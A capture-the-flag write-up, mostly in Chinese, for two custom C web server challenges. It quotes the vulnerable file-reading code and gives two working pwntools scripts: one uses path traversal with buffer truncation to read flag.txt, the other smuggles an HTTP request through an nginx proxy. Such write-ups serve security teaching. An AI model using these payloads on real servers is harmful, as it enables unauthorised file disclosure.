Custom Web Server Writeup
Custom Web Server (1)
题目描述
Someone said: 'One advantage of having a homemade server is that it becomes much harder to hack.' Do you agree? Give reasons.
Note: The files in src/public
are unrelated for the challenge.
Chilli Level:
阅读源码,了解后端是一个用 C 编写的 Web 后端服务器,通过解析请求包来读取文件返回
void handle_client(int socket_id) {
char buffer[BUFFER_SIZE];
char requested_filename[BUFFER_SIZE];
while (1) {
memset(buffer, 0, sizeof(buffer));
memset(requested_filename, 0, sizeof(requested_filename));
if (read(socket_id, buffer, BUFFER_SIZE) == 0) return;
if (sscanf(buffer, "GET /%s", requested_filename) != 1)
return build_response(socket_id, 500, "Internal Server Error", read_file("500.html"));
FileWithSize *file = read_file(requested_filename);
if (!file)
return build_response(socket_id, 404, "Not Found", read_file("404.html"));
build_response(socket_id, 200, "OK", file);
}
}
于是关注到 read_file
函数,发现只有读取 .html
, .png
, .css
, .js
文件才会返回文件内容,与我们要访问的 flag.txt
不符
FileWithSize *read_file(char *filename) {
if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return NULL;
char real_path[BUFFER_SIZE];
snprintf(real_path, sizeof(real_path), "public/%s", filename);
FILE *fd = fopen(real_path, "r");
if (!fd) return NULL;
fseek(fd, 0, SEEK_END);
long filesize = ftell(fd);
fseek(fd, 0, SEEK_SET);
char *content = malloc(filesize + 1);
if (!content) return NULL;
fread(content, 1, filesize, fd);
content[filesize] = '\0';
fclose(fd);
FileWithSize *file = malloc(sizeof(FileWithSize));
file->content = content;
file->size = filesize;
return file;
}
但是 real_path
的 BUFFER_SIZE
是 1024,我们可以通过构造 filename
让 real_path
溢出,从而读取 flag.txt
from pwn import *
payload = b"GET /"
payload += b"../" * 335
payload += b"/./flag.txt.js HTTP/1.1\r\n"
payload += b"Host: c02a-custom-server-1-1.hkcert24.pwnable.hk:1337\r\n"
payload += b"User-Agent: curl\r\n"
payload += b"Accept: */*\r\n"
payload += b"\r\n"
print(payload)
r = remote('c02a-custom-server-1-1.hkcert24.pwnable.hk',1337, ssl=True)
r.send(payload)
r.interactive()
构造 Payload 使得 real_path
正好把 .js
截断,从而读取 flag.txt
Custom Web Server (2)
题目描述
Someone said: 'One advantage of having a homemade server is that it becomes much harder to hack.' Do you agree? Give reasons.
What is the difference between this and the first part? I will also use nginx to proxy your requests this time!
Note: The files in src/public
are still unrelated for the challenge.
Chilli Level:
与第一题不同的是,这次题目使用了 Nginx
作为反向代理,我们要通过请求走私来溢出 server.c
from pwn import *
# add slashes to make the entire string 1019 bytes long
# in this way, we will push out .js at the very end while real_path is constructed in read_file
def pad(path):
assert len(path) <= 1016
prefix = '/' * (1016 - len(path))
suffix = '.js'
return prefix + path + suffix
r = remote('c02b-custom-server-2-0.hkcert24.pwnable.hk', 1337, ssl=True)
# r = remote('localhost', 8081)
path = pad('../../flag.txt')
payload = (
'GET /index.html HTTP/1.1\r\n'
'Content-Length: 1024\r\n'
'Host: localhost\r\n'
f'Foo: {"a"*931}\r\n'
'\r\n'
# smuggled request
f'GET /{path}'
'GET /index.html HTTP/1.1\r\n'
'Content-Length: 0\r\n'
'Host: localhost\r\n'
'\r\n'
)
print(f'payload: {payload}')
r.send(payload.encode())
r.interactive()
由于 Nginx
反向代理时会分配随机套接字,所以如果一次请求失败,可以多次尝试